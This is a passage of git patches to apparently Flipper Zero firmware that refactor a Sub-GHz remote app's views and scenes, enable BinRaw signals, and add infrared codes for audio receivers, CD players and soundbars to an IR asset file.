SubRemViewRemoteModel* model) { break; } } - //Repeat indicator - //canvas_draw_str_aligned(canvas, 125, 40, AlignRight, AlignBottom, "Repeat:"); - //canvas_draw_icon(canvas, 115, 39, &I_SubGHzRemote_Repeat_12x14); - //canvas_draw_str_aligned(canvas, 125, 62, AlignRight, AlignBottom, int_to_char(app->repeat)); } bool subrem_view_remote_input(InputEvent* event, void* context) { @@ -158,17 +190,6 @@ bool subrem_view_remote_input(InputEvent* event, void* context) { SubRemViewRemote* subrem_view_remote = context; if(event->key == InputKeyBack && event->type == InputTypeLong) { - with_view_model( - subrem_view_remote->view, - SubRemViewRemoteModel * model, - { - strcpy(model->up_label, "N/A"); - strcpy(model->down_label, "N/A"); - strcpy(model->left_label, "N/A"); - strcpy(model->right_label, "N/A"); - strcpy(model->ok_label, "N/A"); - }, - false); subrem_view_remote->callback(SubRemCustomEventViewRemoteBack, subrem_view_remote->context); return true; } else if(event->key == InputKeyBack && event->type == InputTypeShort) { @@ -240,23 +261,10 @@ SubRemViewRemote* subrem_view_remote_alloc() { { model->state = SubRemViewRemoteStateIdle; - model->up_label = malloc(sizeof(char) * SUBREM_VIEW_REMOTE_MAX_LABEL_LENGTH + 1); - model->down_label = malloc(sizeof(char) * SUBREM_VIEW_REMOTE_MAX_LABEL_LENGTH + 1); - model->left_label = malloc(sizeof(char) * SUBREM_VIEW_REMOTE_MAX_LABEL_LENGTH + 1); - model->right_label = malloc(sizeof(char) * SUBREM_VIEW_REMOTE_MAX_LABEL_LENGTH + 1); - model->ok_label = malloc(sizeof(char) * SUBREM_VIEW_REMOTE_MAX_LABEL_LENGTH + 1); - - strcpy(model->up_label, "N/A"); - strcpy(model->down_label, "N/A"); - strcpy(model->left_label, "N/A"); - strcpy(model->right_label, "N/A"); - strcpy(model->ok_label, "N/A"); - - // model->up_label = furi_string_alloc_set_str("N/A"); - // model->down_label = furi_string_alloc_set_str("N/A"); - // model->left_label = furi_string_alloc_set_str("N/A"); - // model->right_label = furi_string_alloc_set_str("N/A"); - // model->ok_label = furi_string_alloc_set_str("N/A"); + for(uint8_t i = 0; i < SubRemSubKeyNameMaxCount; i++) { + model->labels[i] = malloc(sizeof(char) * SUBREM_VIEW_REMOTE_MAX_LABEL_LENGTH + 1); + strcpy(model->labels[i], ""); + } model->pressed_btn = 0; }, @@ -271,17 +279,9 @@ void subrem_view_remote_free(SubRemViewRemote* subghz_remote) { subghz_remote->view, SubRemViewRemoteModel * model, { - free(model->up_label); - free(model->down_label); - free(model->left_label); - free(model->right_label); - free(model->ok_label); - - // furi_string_free(model->up_label); - // furi_string_free(model->down_label); - // furi_string_free(model->left_label); - // furi_string_free(model->right_label); - // furi_string_free(model->ok_label); + for(uint8_t i = 0; i < SubRemSubKeyNameMaxCount; i++) { + free(model->labels[i]); + } }, true); view_free(subghz_remote->view); diff --git a/applications/main/subghz_remote/views/remote.h b/applications/main/subghz_remote/views/remote.h index ea274fca4..5b1e8153a 100644 --- a/applications/main/subghz_remote/views/remote.h +++ b/applications/main/subghz_remote/views/remote.h @@ -2,11 +2,13 @@ #include #include "../helpers/subrem_custom_event.h" +#include "../helpers/subrem_presets.h" typedef enum { SubRemViewRemoteStateIdle, SubRemViewRemoteStateLoading, SubRemViewRemoteStateSending, + SubRemViewRemoteStateOFF, } SubRemViewRemoteState; typedef struct SubRemViewRemote SubRemViewRemote; @@ -24,7 +26,9 @@ void subrem_view_remote_free(SubRemViewRemote* subrem_view_remote); View* subrem_view_remote_get_view(SubRemViewRemote* subrem_view_remote); -void subrem_view_remote_add_data_to_show(SubRemViewRemote* subrem_view_remote, const char** labels); +void subrem_view_remote_update_data_labels( + SubRemViewRemote* subrem_view_remote, + SubRemSubFilePreset** subs_presets); void subrem_view_remote_set_state( SubRemViewRemote* subrem_view_remote, diff --git a/assets/icons/Archive/subrem_10px.png b/assets/icons/Archive/subrem_10px.png new file mode 100644 index 0000000000000000000000000000000000000000..c6b410f4c598d6b241b851826875a568c74f4d20 GIT binary patch literal 5000 zcmeHLeQXow8NVhhfsmvNbWJE`yEq*mNzeCX`_4BziDT!(3JxJLO+Xvv_1$~UEw<0t zm)N1})-a|4OCbE6;07#-3sX@sAxkg$U?hnu$6%_P+PX_Jv(ud zLf1xG|CwUz?7R1Up5OC4zxVgNce*W&4YheW_vK(1mglK+H=%$1JZE+m`hA@F<1zI2 zyA8fptqH{ONK}=TAjGw<2*hDRkufZBKGgVD-U({Lf_l{mhyV1gGrhn5dOvmG&rb;X|2#O* z`;Gdu`y8=lFC6>o;MdlzEhu;(gUPC_z|AEGi;B+`t?Ze5z3-kKC+@xe!rsi0?9s|K zy?-daKNrL9+N8K#jUJb4ydqS`GmmU@)cv;7aPpz%>TUZsFY*}}-;x*iZ59ty6_jpT zvujoMQ}z8jJ+AG;!%Gj}Yq-_gD;(ypTplW&z40q}pQ&N1scCq0d(~q_cR%sbwf8Sv zdVdlA`l;oI1plLZ-jYiT3faL`zr6A#=Lo=7=AJsu{N?^-b1q)%coKW)>T~u}qi^rn z-7>H`clPEJwEVR7TGqAGdqR;5OY#pr*E?^={1s1Y&f(g=vM=|qHywW9AEyugs9|9K z_qUv^T38l3y>(BG-D_BB`RVoV^}JI09`V|mBd`AW<~wBWyCXky1n0|1Nlg+*V)QGN;EdcVFdq|MubW(V_Tn9{lz<&(!Cf?0&8A zl@E$Ck9Ky~46J|Y$whnDXUy8sU3Tos>?t>Un9|+}sNpj`p?cz$4F;W6I^yu1td=)j zwphHBH{ybAO5KJiY~Ik|6F0PrHpy5~o?}l42p|MCfG0x1a7;)zj7eMpo$JG-5l@?` zHXBJXB*PHMf{1m6HIN{}u@W63h2e%VF{(r~MGfORCh)5rn!{*B^Z0mvp@`R;h7ZTa zSU`M`2@oM^6GetXP{HeN+v@{V%k5_5e+8G zkwg*(VF;PVP*i$K$XbuLG3}vK5Kuyqq!%K4ie;ot)zny<8cCZ^NiaQ~ENpU0nj%lI zJjF+!xy>BKy>oC09YBCl_0@MKq5HSOc8#H zHxrPt@G@uPXxUw}=@F^kKtO1=<+RE`fZLx72 zM^h}%PZ&K2qcJ389h0U^tT{O|!J$hHs!^{hL5Gn|PU-6=pgIxrK<@yAog7DH3a%&w z8g!!r!BMD#C>udrd^9VVErOXZqga7TC7!lcqdrv)I*fX4xSm29%!}Gu0vbreA!k;g z%|4nF%vOQs$|!0w97;_$K_%JJIG$`y z0f?!B#blXMGE;<>npEzfp3l7GX_S~MYjF^T&H&=qVRY(yC*C;TeK^CKEcntEB`m4& z*s`e!#M_|0il0b3`57vUflm0by2LgR4nVX&k8KG5wO*Mw+x#3L%ravoDAo)K9*8VK z`z@R#$`oXol=A*h>SY-g(0){rAj zX|i`eX-Qc`CULv;$ClJi>UW`W?b^xP)oq_>=<%(|iFP_&{;^5&uL6OoA}L2u$;}G@ zRN$B(Zj5Yq}83M;=f=r9w8MiVD2l{4`U z0fy0oX&k*FI5pSMi{36|`Ri-l*r@*9d2H`fXk<>LZgmX9OeOkpSK|4KPBfUUdA!xx z?`7r}mf Date: Tue, 30 May 2023 17:41:49 +0300 Subject: [PATCH 098/100] Same codebase as fap --- .../main/subghz_remote/application.fam | 2 +- .../scenes/subrem_scene_config.h | 2 ++ .../scenes/subrem_scene_open_map_file.c | 29 +++++-------------- .../scenes/subrem_scene_remote.c | 10 ++----- .../subghz_remote/scenes/subrem_scene_start.c | 6 ++-- .../main/subghz_remote/subghz_remote_app_i.c | 4 +-- .../main/subghz_remote/subghz_remote_app_i.h | 2 +- 7 files changed, 21 insertions(+), 34 deletions(-) diff --git a/applications/main/subghz_remote/application.fam b/applications/main/subghz_remote/application.fam index 65095573f..804ac0b7c 100644 --- a/applications/main/subghz_remote/application.fam +++ b/applications/main/subghz_remote/application.fam @@ -12,6 +12,6 @@ App( "dialogs", ], icon="A_SubGHzRemote_14", - stack_size=3 * 1024, + stack_size=2 * 1024, order=11, ) \ No newline at end of file diff --git a/applications/main/subghz_remote/scenes/subrem_scene_config.h b/applications/main/subghz_remote/scenes/subrem_scene_config.h index 68b205169..45e55850a 100644 --- a/applications/main/subghz_remote/scenes/subrem_scene_config.h +++ b/applications/main/subghz_remote/scenes/subrem_scene_config.h @@ -1,3 +1,5 @@ +#ifndef SUBREM_LIGHT ADD_SCENE(subrem, start, Start) +#endif ADD_SCENE(subrem, open_map_file, OpenMapFile) ADD_SCENE(subrem, remote, Remote) \ No newline at end of file diff --git a/applications/main/subghz_remote/scenes/subrem_scene_open_map_file.c b/applications/main/subghz_remote/scenes/subrem_scene_open_map_file.c index f1b8b2ec2..1e917580c 100644 --- a/applications/main/subghz_remote/scenes/subrem_scene_open_map_file.c +++ b/applications/main/subghz_remote/scenes/subrem_scene_open_map_file.c @@ -5,19 +5,11 @@ void subrem_scene_open_map_file_on_enter(void* context) { SubGhzRemoteApp* app = context; SubRemLoadMapState load_state = subrem_load_from_file(app); - uint32_t start_scene_state = - scene_manager_get_scene_state(app->scene_manager, SubRemSceneStart); - // TODO if optimization - - if(load_state == SubRemLoadMapStateBack) { - if(!scene_manager_previous_scene(app->scene_manager)) { - scene_manager_stop(app->scene_manager); - view_dispatcher_stop(app->view_dispatcher); - } - } else if(start_scene_state == SubmenuIndexSubRemOpenMapFile) { - if(load_state != SubRemLoadMapStateOK && load_state != SubRemLoadMapStateNotAllOK && - load_state != SubRemLoadMapStateBack) { + if(load_state == SubRemLoadMapStateOK || load_state == SubRemLoadMapStateNotAllOK) { + scene_manager_next_scene(app->scene_manager, SubRemSceneRemote); + } else { + if(load_state != SubRemLoadMapStateBack) { #ifdef SUBREM_LIGHT dialog_message_show_storage_error(app->dialogs, "Can't load\nMap file"); #else @@ -32,15 +24,10 @@ void subrem_scene_open_map_file_on_enter(void* context) { dialog_message_free(message); #endif } - if(load_state == SubRemLoadMapStateOK || load_state == SubRemLoadMapStateNotAllOK) { - scene_manager_next_scene(app->scene_manager, SubRemSceneRemote); - } else { - // TODO: Map Preset Reset - if(!scene_manager_search_and_switch_to_previous_scene( - app->scene_manager, SubRemSceneStart)) { - scene_manager_stop(app->scene_manager); - view_dispatcher_stop(app->view_dispatcher); - } + // TODO: Map Preset Reset + if(!scene_manager_previous_scene(app->scene_manager)) { + scene_manager_stop(app->scene_manager); + view_dispatcher_stop(app->view_dispatcher); } } } diff --git a/applications/main/subghz_remote/scenes/subrem_scene_remote.c b/applications/main/subghz_remote/scenes/subrem_scene_remote.c index 644f8daac..a2e307fd9 100644 --- a/applications/main/subghz_remote/scenes/subrem_scene_remote.c +++ b/applications/main/subghz_remote/scenes/subrem_scene_remote.c @@ -49,13 +49,9 @@ bool subrem_scene_remote_on_event(void* context, SceneManagerEvent event) { SubGhzRemoteApp* app = context; if(event.type == SceneManagerEventTypeCustom) { if(event.event == SubRemCustomEventViewRemoteBack) { - if(!scene_manager_search_and_switch_to_previous_scene( - app->scene_manager, SubRemSceneOpenMapFile)) { - if(!scene_manager_search_and_switch_to_previous_scene( - app->scene_manager, SubRemSceneStart)) { - scene_manager_stop(app->scene_manager); - view_dispatcher_stop(app->view_dispatcher); - } + if(!scene_manager_previous_scene(app->scene_manager)) { + scene_manager_stop(app->scene_manager); + view_dispatcher_stop(app->view_dispatcher); } return true; } else if( diff --git a/applications/main/subghz_remote/scenes/subrem_scene_start.c b/applications/main/subghz_remote/scenes/subrem_scene_start.c index dd840c40d..e780b54ce 100644 --- a/applications/main/subghz_remote/scenes/subrem_scene_start.c +++ b/applications/main/subghz_remote/scenes/subrem_scene_start.c @@ -33,10 +33,10 @@ void subrem_scene_start_on_enter(void* context) { // SubmenuIndexSubGhzRemoteAbout, // subrem_scene_start_submenu_callback, // app); - +#ifndef SUBREM_LIGHT submenu_set_selected_item( submenu, scene_manager_get_scene_state(app->scene_manager, SubRemSceneStart)); - +#endif view_dispatcher_switch_to_view(app->view_dispatcher, SubRemViewIDSubmenu); } @@ -48,8 +48,10 @@ bool subrem_scene_start_on_event(void* context, SceneManagerEvent event) { if(event.type == SceneManagerEventTypeCustom) { if(event.event == SubmenuIndexSubRemOpenMapFile) { +#ifndef SUBREM_LIGHT scene_manager_set_scene_state( app->scene_manager, SubRemSceneStart, SubmenuIndexSubRemOpenMapFile); +#endif scene_manager_next_scene(app->scene_manager, SubRemSceneOpenMapFile); consumed = true; } diff --git a/applications/main/subghz_remote/subghz_remote_app_i.c b/applications/main/subghz_remote/subghz_remote_app_i.c index 82c2efbf5..121fbf787 100644 --- a/applications/main/subghz_remote/subghz_remote_app_i.c +++ b/applications/main/subghz_remote/subghz_remote_app_i.c @@ -252,11 +252,11 @@ bool subrem_tx_stop_sub(SubGhzRemoteApp* app, bool forced) { if(sub_preset->type == SubGhzProtocolTypeDynamic) { keeloq_reset_mfname(); keeloq_reset_kl_type(); - keeloq_reset_original_btn(); - subghz_custom_btns_reset(); star_line_reset_mfname(); star_line_reset_kl_type(); } + keeloq_reset_original_btn(); + subghz_custom_btns_reset(); #endif return true; } diff --git a/applications/main/subghz_remote/subghz_remote_app_i.h b/applications/main/subghz_remote/subghz_remote_app_i.h index ff01ba12a..1ced74d11 100644 --- a/applications/main/subghz_remote/subghz_remote_app_i.h +++ b/applications/main/subghz_remote/subghz_remote_app_i.h @@ -8,7 +8,7 @@ #ifdef APP_SUBGHZREMOTE #include -#elif +#else #include #endif From c70a13015b6e7d1346434474938c8e0424ae854c Mon Sep 17 00:00:00 2001 From: gid9798 <30450294+gid9798@users.noreply.github.com> Date: Tue, 30 May 2023 20:27:15 +0300 Subject: [PATCH 099/100] Allow BinRaw & some clean --- .../helpers/subrem_custom_event.h | 10 ++++------ .../helpers/subrem_presets.c | 3 +-- .../subghz_remote_configurator/subghz_remote_app_i.h | 4 ---- .../main/subghz_remote/helpers/subrem_custom_event.h | 2 +- .../main/subghz_remote/helpers/subrem_presets.c | 3 +-- 5 files changed, 7 insertions(+), 15 deletions(-) diff --git a/applications/external/subghz_remote_configurator/helpers/subrem_custom_event.h b/applications/external/subghz_remote_configurator/helpers/subrem_custom_event.h index 779458c20..da3de2aae 100644 --- a/applications/external/subghz_remote_configurator/helpers/subrem_custom_event.h +++ b/applications/external/subghz_remote_configurator/helpers/subrem_custom_event.h @@ -9,11 +9,13 @@ typedef enum { } SubRemEditMenuState; typedef enum { - // SubmenuIndex + // StartSubmenuIndex SubmenuIndexSubRemEditMapFile = 0, SubmenuIndexSubRemNewMapFile, +#if FURI_DEBUG SubmenuIndexSubRemRemoteView, - SubmenuIndexSubRemAbout, +#endif + // SubmenuIndexSubRemAbout, // EditSubmenuIndex EditSubmenuIndexEditLabel, @@ -45,8 +47,4 @@ typedef enum { SubRemCustomEventSceneEditPreviewSaved, SubRemCustomEventSceneNewName, - - // // SceneStates - // SubRemSceneOpenMapFileStateOpen, - // SubRemSceneOpenMapFileStateEdit, } SubRemCustomEvent; \ No newline at end of file diff --git a/applications/external/subghz_remote_configurator/helpers/subrem_presets.c b/applications/external/subghz_remote_configurator/helpers/subrem_presets.c index dc298c069..e5823b721 100644 --- a/applications/external/subghz_remote_configurator/helpers/subrem_presets.c +++ b/applications/external/subghz_remote_configurator/helpers/subrem_presets.c @@ -147,8 +147,7 @@ SubRemLoadSubState subrem_sub_preset_load( if(protocol->flag & SubGhzProtocolFlag_Send) { if((protocol->type == SubGhzProtocolTypeStatic) || (protocol->type == SubGhzProtocolTypeDynamic) || - // TODO: BINRAW It probably works, but checks are needed. - // (protocol->type == SubGhzProtocolTypeBinRAW) || + (protocol->type == SubGhzProtocolTypeBinRAW) || (protocol->type == SubGhzProtocolTypeRAW)) { sub_preset->type = protocol->type; } else { diff --git a/applications/external/subghz_remote_configurator/subghz_remote_app_i.h b/applications/external/subghz_remote_configurator/subghz_remote_app_i.h index ce5f31009..a84e1ba50 100644 --- a/applications/external/subghz_remote_configurator/subghz_remote_app_i.h +++ b/applications/external/subghz_remote_configurator/subghz_remote_app_i.h @@ -23,10 +23,6 @@ #include -#include -#include -#include - #define SUBREM_APP_FOLDER EXT_PATH("subghz_remote") #define SUBREM_MAX_LEN_NAME 64 diff --git a/applications/main/subghz_remote/helpers/subrem_custom_event.h b/applications/main/subghz_remote/helpers/subrem_custom_event.h index e4bd95143..8d93ab1fd 100644 --- a/applications/main/subghz_remote/helpers/subrem_custom_event.h +++ b/applications/main/subghz_remote/helpers/subrem_custom_event.h @@ -1,7 +1,7 @@ #pragma once typedef enum { - // SubmenuIndex + // StartSubmenuIndex SubmenuIndexSubRemOpenMapFile = 0, #if FURI_DEBUG SubmenuIndexSubRemRemoteView, diff --git a/applications/main/subghz_remote/helpers/subrem_presets.c b/applications/main/subghz_remote/helpers/subrem_presets.c index dc298c069..e5823b721 100644 --- a/applications/main/subghz_remote/helpers/subrem_presets.c +++ b/applications/main/subghz_remote/helpers/subrem_presets.c @@ -147,8 +147,7 @@ SubRemLoadSubState subrem_sub_preset_load( if(protocol->flag & SubGhzProtocolFlag_Send) { if((protocol->type == SubGhzProtocolTypeStatic) || (protocol->type == SubGhzProtocolTypeDynamic) || - // TODO: BINRAW It probably works, but checks are needed. - // (protocol->type == SubGhzProtocolTypeBinRAW) || + (protocol->type == SubGhzProtocolTypeBinRAW) || (protocol->type == SubGhzProtocolTypeRAW)) { sub_preset->type = protocol->type; } else { From fabbfc3979ca10412a8cdfdac74539a55933e8f1 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Wed, 31 May 2023 10:29:57 +0300 Subject: [PATCH 100/100] Update audio ir asset by @amec0e --- assets/resources/infrared/assets/audio.ir | 399 +++++++++++++++++++++- 1 file changed, 392 insertions(+), 7 deletions(-) diff --git a/assets/resources/infrared/assets/audio.ir b/assets/resources/infrared/assets/audio.ir index 72d07c82b..0aa0dcebe 100644 --- a/assets/resources/infrared/assets/audio.ir +++ b/assets/resources/infrared/assets/audio.ir @@ -2178,7 +2178,55 @@ address: 00 00 00 00 command: 46 00 00 00 # # Audio_Receivers -# +# +name: Prev +type: parsed +protocol: RC5 +address: 14 00 00 00 +command: 2C 00 00 00 +# +name: Next +type: parsed +protocol: RC5 +address: 14 00 00 00 +command: 2B 00 00 00 +# +name: Next +type: parsed +protocol: NECext +address: D2 03 00 00 +command: 1D E2 00 00 +# +name: Next +type: parsed +protocol: RC5 +address: 14 00 00 00 +command: 34 00 00 00 +# +name: Prev +type: parsed +protocol: SIRC20 +address: 10 01 00 00 +command: 30 00 00 00 +# +name: Next +type: parsed +protocol: SIRC20 +address: 10 01 00 00 +command: 31 00 00 00 +# +name: Next +type: parsed +protocol: NEC +address: 78 00 00 00 +command: 03 00 00 00 +# +name: Next +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 6B 94 00 00 +# name: Pause type: parsed protocol: NEC @@ -2329,12 +2377,6 @@ protocol: Kaseikyo address: AC 02 20 01 command: 91 00 00 00 # -name: Play -type: raw -frequency: 38000 -duty_cycle: 0.33 -data: 3467 1720 449 450 419 1296 443 455 425 446 423 447 422 449 420 451 418 452 417 454 426 445 424 447 422 448 421 450 419 1296 443 455 425 446 423 447 422 449 420 450 419 452 417 454 426 1290 449 448 421 1294 445 453 416 455 425 1291 448 1294 445 1297 453 418 451 447 422 448 421 423 446 1296 443 1300 450 448 421 422 447 424 445 425 444 427 453 418 451 1292 447 450 419 1297 442 1300 450 1292 447 451 418 1297 453 74912 3466 1722 447 424 445 1297 453 418 451 420 449 421 448 423 446 425 444 427 453 418 451 420 449 421 448 423 446 424 445 1297 453 419 450 420 449 422 447 424 445 425 444 427 453 418 451 1291 448 423 446 1296 443 428 452 419 450 1292 447 1295 444 1298 452 420 449 421 448 423 446 425 444 1298 452 1290 449 422 447 424 445 425 444 427 453 418 451 420 449 1293 446 425 444 1298 452 1290 449 1294 445 425 444 1298 452 -# name: Next type: parsed protocol: Kaseikyo @@ -2463,6 +2505,54 @@ command: 67 98 00 00 # # CD Players # +name: Next +type: parsed +protocol: Kaseikyo +address: 51 54 32 01 +command: 0E 00 00 00 +# +name: Play +type: parsed +protocol: Kaseikyo +address: 51 54 32 01 +command: 0A 00 00 00 +# +name: Play +type: parsed +protocol: Samsung32 +address: 10 00 00 00 +command: 07 00 00 00 +# +name: Pause +type: parsed +protocol: Kaseikyo +address: 51 54 32 01 +command: 0A 00 00 00 +# +name: Pause +type: parsed +protocol: Samsung32 +address: 10 00 00 00 +command: 07 00 00 00 +# +name: Play +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8546 4227 563 511 563 1558 566 511 563 483 566 508 567 1558 566 509 566 1558 566 1586 564 483 566 1561 588 1558 566 1560 564 536 539 1558 566 535 539 1558 566 1586 564 1557 567 486 589 1560 564 511 563 510 539 508 567 485 589 484 565 508 567 1559 565 509 566 1560 564 1560 590 1585 539 25430 8575 4251 538 485 590 1557 567 486 588 511 538 536 539 1557 567 509 566 1558 566 1560 590 483 566 1560 589 1559 565 1562 562 536 539 1560 564 509 566 1558 566 1564 586 1586 538 484 590 1559 565 487 588 482 567 509 566 511 563 483 566 508 567 1558 566 509 566 1560 564 1559 591 1586 538 +# +name: Pause +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8571 4226 564 509 540 1587 563 510 539 510 565 510 564 1558 566 510 565 1584 540 1585 539 535 540 1587 537 1586 564 1585 539 510 564 1584 540 511 563 482 567 535 539 485 590 1584 540 1585 539 509 566 510 564 510 539 1586 564 1585 539 1585 539 536 539 510 564 1585 539 1557 567 1558 592 25434 8571 4199 591 510 539 1586 564 509 540 535 540 485 590 1585 539 484 591 1561 563 1584 540 507 568 1585 539 1586 564 1585 539 486 589 1585 539 484 591 425 624 535 540 486 589 1585 539 1585 539 511 564 511 563 486 563 1586 564 1558 566 1558 566 508 567 486 589 1560 564 1558 566 1561 589 +# +name: Next +type: parsed +protocol: SIRC15 +address: 64 00 00 00 +command: 3B 00 00 00 +# name: Play type: parsed protocol: NEC42 @@ -2585,6 +2675,169 @@ command: 01 FE 00 00 # # SoundBars # +# +name: Play +type: parsed +protocol: NECext +address: 29 A1 00 00 +command: 9A 65 00 00 +# +name: Pause +type: parsed +protocol: NECext +address: 29 A1 00 00 +command: 9A 65 00 00 +# +name: Next +type: parsed +protocol: Samsung32 +address: 2C 00 00 00 +command: 07 00 00 00 +# +name: Prev +type: parsed +protocol: Samsung32 +address: 2C 00 00 00 +command: 06 00 00 00 +# +name: Next +type: parsed +protocol: NECext +address: C8 91 00 00 +command: 24 DB 00 00 +# +name: Play +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4572 4451 552 478 526 478 526 478 500 503 501 1483 525 1482 551 478 525 478 525 1481 526 1482 524 1483 523 1485 522 482 521 482 522 482 522 469 521 4486 521 482 522 482 522 483 521 483 521 483 521 1487 521 483 521 1487 521 483 521 483 521 483 521 1487 521 1487 521 483 520 1487 521 483 521 1488 520 1487 521 1487 521 483 521 55487 4544 4482 522 482 522 482 522 482 522 482 522 1487 521 1487 521 482 522 482 522 1487 521 1487 521 1487 521 1487 521 482 522 483 521 483 521 469 522 4486 521 483 521 483 520 483 521 483 521 483 521 1487 521 483 521 1487 521 483 521 483 521 483 521 1488 521 1487 521 483 521 1488 520 483 521 1488 521 1488 521 1488 520 483 521 +# +name: Play +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4497 4438 513 508 492 503 487 509 491 504 486 1479 512 1479 511 510 490 505 485 1481 510 1481 510 1481 509 1482 509 512 488 507 483 513 487 508 482 4457 515 506 484 511 489 506 484 512 488 507 483 1482 509 513 487 1478 513 508 482 513 487 509 491 1473 518 1474 517 504 486 1479 512 510 490 1475 515 1475 516 1476 514 480 510 55019 4494 4442 509 511 489 507 483 512 488 507 483 1508 483 1508 483 513 487 508 482 1482 509 1483 508 1509 492 1499 492 504 486 510 490 505 485 510 490 4449 513 508 482 487 513 508 482 488 512 483 517 1499 492 504 486 1505 486 510 490 479 511 510 490 1501 490 1501 490 506 484 1506 485 511 489 1502 489 1476 515 1476 515 507 483 +# +name: Pause +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4572 4451 552 478 526 478 526 478 500 503 501 1483 525 1482 551 478 525 478 525 1481 526 1482 524 1483 523 1485 522 482 521 482 522 482 522 469 521 4486 521 482 522 482 522 483 521 483 521 483 521 1487 521 483 521 1487 521 483 521 483 521 483 521 1487 521 1487 521 483 520 1487 521 483 521 1488 520 1487 521 1487 521 483 521 55487 4544 4482 522 482 522 482 522 482 522 482 522 1487 521 1487 521 482 522 482 522 1487 521 1487 521 1487 521 1487 521 482 522 483 521 483 521 469 522 4486 521 483 521 483 520 483 521 483 521 483 521 1487 521 483 521 1487 521 483 521 483 521 483 521 1488 521 1487 521 483 521 1488 520 483 521 1488 521 1488 521 1488 520 483 521 +# +name: Pause +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4497 4438 513 508 492 503 487 509 491 504 486 1479 512 1479 511 510 490 505 485 1481 510 1481 510 1481 509 1482 509 512 488 507 483 513 487 508 482 4457 515 506 484 511 489 506 484 512 488 507 483 1482 509 513 487 1478 513 508 482 513 487 509 491 1473 518 1474 517 504 486 1479 512 510 490 1475 515 1475 516 1476 514 480 510 55019 4494 4442 509 511 489 507 483 512 488 507 483 1508 483 1508 483 513 487 508 482 1482 509 1483 508 1509 492 1499 492 504 486 510 490 505 485 510 490 4449 513 508 482 487 513 508 482 488 512 483 517 1499 492 504 486 1505 486 510 490 479 511 510 490 1501 490 1501 490 506 484 1506 485 511 489 1502 489 1476 515 1476 515 507 483 +# +name: Next +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4503 4434 517 504 486 510 490 505 485 510 490 1475 515 1476 514 507 483 512 488 1477 513 1477 513 1478 512 1479 511 483 517 479 511 484 516 479 511 4455 516 478 512 483 517 479 511 485 515 480 510 486 514 1477 513 1477 513 482 518 477 513 483 517 1474 516 1474 516 1475 515 480 510 485 515 1476 514 1477 513 1477 513 483 517 55012 4497 4440 511 484 516 480 510 485 515 480 510 1481 509 1482 509 487 513 482 518 1473 517 1474 516 1474 516 1475 515 480 510 486 514 481 509 486 514 4451 510 485 567 428 510 486 514 481 509 487 565 430 570 1421 518 1473 518 478 512 483 517 478 512 1479 511 1480 510 1480 510 486 514 481 509 1481 510 1481 509 1482 509 487 513 +# +name: Play +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4583 4441 575 454 550 455 549 457 548 456 549 1461 550 1460 549 456 549 457 549 1461 548 1462 549 1461 549 1461 548 457 548 457 549 457 547 457 549 4462 548 458 548 457 548 457 548 457 548 457 548 1462 548 457 548 1461 549 457 548 457 548 457 548 1462 548 1461 549 457 548 1461 549 457 548 1461 549 1461 548 1462 547 458 547 55448 4580 4465 550 456 549 456 549 456 550 456 549 1461 549 1460 549 457 549 456 549 1461 549 1461 549 1461 548 1461 549 457 548 457 549 457 548 457 548 4462 549 457 548 457 548 458 548 457 548 457 548 1462 549 457 547 1462 549 457 548 457 548 457 548 1462 548 1462 549 457 548 1462 548 457 548 1462 548 1461 549 1462 548 457 548 +# +name: Pause +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4583 4441 575 454 550 455 549 457 548 456 549 1461 550 1460 549 456 549 457 549 1461 548 1462 549 1461 549 1461 548 457 548 457 549 457 547 457 549 4462 548 458 548 457 548 457 548 457 548 457 548 1462 548 457 548 1461 549 457 548 457 548 457 548 1462 548 1461 549 457 548 1461 549 457 548 1461 549 1461 548 1462 547 458 547 55448 4580 4465 550 456 549 456 549 456 550 456 549 1461 549 1460 549 457 549 456 549 1461 549 1461 549 1461 548 1461 549 457 548 457 549 457 548 457 548 4462 549 457 548 457 548 458 548 457 548 457 548 1462 549 457 547 1462 549 457 548 457 548 457 548 1462 548 1462 549 457 548 1462 548 457 548 1462 548 1461 549 1462 548 457 548 +# +name: Next +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4582 4465 551 454 550 455 550 455 549 456 549 1460 550 1460 549 457 548 456 549 1461 549 1461 548 1461 549 1460 549 457 549 456 548 457 548 457 548 4461 549 456 548 457 548 457 548 457 548 457 548 457 548 1462 548 1461 547 457 549 457 548 456 549 1460 549 1461 547 1461 549 457 547 457 548 1461 549 1461 548 1461 548 457 548 55436 4578 4464 549 455 549 456 549 455 549 456 550 1460 549 1460 549 456 550 455 550 1460 550 1460 549 1460 550 1460 549 456 549 457 548 457 548 457 549 4461 548 457 548 457 548 457 548 457 547 457 549 457 547 1462 548 1461 549 457 548 457 548 457 548 1461 548 1461 548 1462 548 457 548 457 549 1461 549 1461 548 1461 548 457 548 +# +name: Prev +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4554 4466 540 469 547 490 515 495 521 490 494 1478 522 1477 544 466 539 471 513 1512 488 1484 516 1483 570 1429 540 497 519 465 540 470 546 491 493 4490 548 462 543 467 549 488 517 493 491 1481 519 1480 541 495 489 1510 522 462 543 494 521 489 495 1476 545 466 539 471 513 1485 547 464 520 1505 495 1477 513 1487 545 465 540 +# +name: Next +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4555 4464 542 468 548 462 543 467 549 488 496 1477 523 1476 545 465 551 459 525 1475 515 1484 516 1483 517 1482 550 486 519 465 551 459 546 464 520 4490 547 488 517 467 549 462 543 467 548 462 543 467 517 1482 518 1481 540 496 520 464 541 469 515 1484 516 1483 517 1482 550 460 545 465 519 1480 520 1479 521 1478 543 493 522 +# +name: Play +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4549 4471 546 464 541 469 547 463 542 469 515 1484 516 1483 549 461 544 466 518 1481 519 1480 520 1479 521 1477 544 466 550 461 544 467 549 461 523 4486 541 469 546 464 541 469 547 464 541 469 515 1483 549 462 522 1477 544 465 540 471 545 465 572 1428 520 1479 542 468 569 1430 549 462 522 1476 514 1486 